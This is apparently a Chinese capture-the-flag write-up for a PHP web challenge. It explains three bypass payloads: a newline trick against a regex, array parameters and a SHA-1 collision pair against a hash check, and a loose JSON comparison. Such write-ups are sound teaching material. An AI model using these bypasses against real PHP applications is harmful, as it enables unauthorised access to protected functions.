# [鹤城杯 2021]Middle magic # [鹤城杯 2021]Middle magic 题目: ```php ${2}', $_GET['aaa']); if (preg_match('/pass_the_level_1#/', $aaa)) { echo "here is level 2"; if (isset($_POST['admin']) and isset($_POST['root_pwd'])) { if ($_POST['admin'] == $_POST['root_pwd']) echo '

The level 2 can not pass!

'; // START FORM PROCESSING else if (sha1($_POST['admin']) === sha1($_POST['root_pwd'])) { echo "here is level 3,do you kown how to overcome it?"; if (isset($_POST['level_3'])) { $level_3 = json_decode($_POST['level_3']); if ($level_3->result == $result) { echo "success:" . $flag; } else { echo "you never beat me!"; } } else { echo "out"; } } else { die("no"); } // perform validations on the form data } else { echo '

out!

'; } } else { echo 'nonono!'; } echo '
'; } ?> ``` 分析代码,要获得 flag 需要让代码执行到:` echo "success:" . $flag;` 大体上可以分成三层: ​ 第一层: ```php if (isset($_GET['aaa']) && strlen($_GET['aaa']) < 20) $aaa = preg_replace('/^(.*)level(.*)$/', '${1}${2}', $_GET['aaa']); if (preg_match('/pass_the_level_1#/', $aaa)) ``` - `preg_replace()` 会把 aaa 中符合正则匹配的部分替换成后面的内容 - 正则表达式: `/^(.*)level(.*)$/` 会在 aaa 字符串的开头和结尾中匹配是否包含字符串 "level" - `^` 用于匹配字符串的开头、`$` 用于匹配字符串的结尾 - `.*` 用于匹配任意字符任意次,不包括换行符(关键信息) 加上括号 `(.*)` 表示为捕获组 - `${1}${2}` 作为替换的字符串,`${1}` 和 `${2}` 分别引用正则表达式中的第一个和第二个捕获组 - 在 aaa 字符串匹配是否包含字符串 "pass_the_level_1#" > **示例**: > > ```php > echo preg_replace('/^(.*)level(.*)$/', '${1}${2}', "This is a high-level example."); > ?> > ``` > > 输出的结果: > > ``` > This is a high- example. > ``` 乍一看这两条代码有点冲突: ```php $aaa = preg_replace('/^(.*)level(.*)$/', '${1}${2}', $_GET['aaa']); if (preg_match('/pass_the_level_1#/', $aaa)) ``` 由于 `.*` 不匹配换行符,可以借此来绕过正则匹配替换 第一层 Bypass : GET 方式提交:`aaa=%0apass_the_level_1%23` (`%0a` 为换行符、`%23` 为井字符) ​ 第二层: ```php if (isset($_POST['admin']) and isset($_POST['root_pwd'])) if ($_POST['admin'] == $_POST['root_pwd']) echo '

The level 2 can not pass!

'; else if (sha1($_POST['admin']) === sha1($_POST['root_pwd'])) ``` - 检查是否通过 POST 请求提交了名为 'admin' 和 'root_pwd' 的非空数据 - 'admin' 和 'root_pwd' 的值不能相同,这里的比较用的是弱类型比较 - 'admin' 和 'root_pwd' 的值经过 sha1 加密后必须相等,这里的比较用的是强类型比较 满足条件二和条件三有两种方法: 1. sha1 碰撞 2. 数组绕过 > sha1 碰撞: > > 以下两个字符串不相同但经 sha1 加密后的值相同 > > ```php > $a = urldecode("%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1"); > > $b = urldecode("%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1"); > > var_dump($a == $b); > var_dump(sha1($a)===sha1($b)); > ?> > ``` > > 运行结果: > > ``` > bool(false) > bool(true) > ``` > > ​ > > 数组绕过: > > `sha1()` 在处理数组时会报错并返回 "NULL",而 `NULL===NULL` 的结果为真: > > ```php > $a = array(1); > @var_dump(sha1($a)); > var_dump(NULL === NULL); > ?> > ``` > > 运行结果: > > ``` > NULL > bool(true) > ``` 第二层 Bypass : POST 方式提交:`admin[]=1&root_pwd[]=2` ​ 第三层: ```php if (isset($_POST['level_3'])) $level_3 = json_decode($_POST['level_3']); if ($level_3->result == $result) //include "./result.php"; echo "success:" . $flag; ``` - 检查是否通过 POST 请求提交了名为 'level_3' 的非空数据 - 使用 `json_decode()` 将 JSON 格式的字符串转换为 PHP 对象。 > `json_decode()` 用于解码 JSON 字符串,返回一个对象或者关联数组,具体取决于第二个参数(默认返回对象) - 对象 level_3 的 result 属性的值与 result.php 里的 result 变量的值相等,这里的比较为弱类型比较 > 示例: > > ```php > $a = '{"a":1,"b":2,"c":3}'; > var_dump(json_decode($a)); > var_dump(json_decode($a, true)); > ?> > ``` > > 运行结果: > > ``` > object(stdClass)#1 (3) { > ["a"]=> > int(1) > ["b"]=> > int(2) > ["c"]=> > int(3) > } > array(3) { > ["a"]=> > int(1) > ["b"]=> > int(2) > ["c"]=> > int(3) > } > ``` 由于不知道 result.php 里的 result 变量的内容,盲猜为未知字符串,可以用 0 来绕过 第二层 Bypass : POST 方式提交:`level_3={"result":0}` > 由于弱类型比较的特性,当字符串与数字比较时,会将字符串转化成数字,所以数字 0 等于空字符串、任何非数字开头的字符串、任何以 0 开头的字符串 > > 示例: > > ```php > var_dump(0 == ''); > var_dump(0 == '0'); > var_dump(0 == '0a'); > var_dump(0 == 'he110 w0rd!'); > ?> > ``` > > 运行结果: > > ``` > bool(true) > bool(true) > bool(true) > bool(true) > ``` ![[鹤城杯 2021]Middle magic-1](https://pic.imgdb.cn/item/65804d52c458853aef803de1.jpg) 或 ![[鹤城杯 2021]Middle magic-2](https://pic.imgdb.cn/item/65804e77c458853aef850ff3.jpg)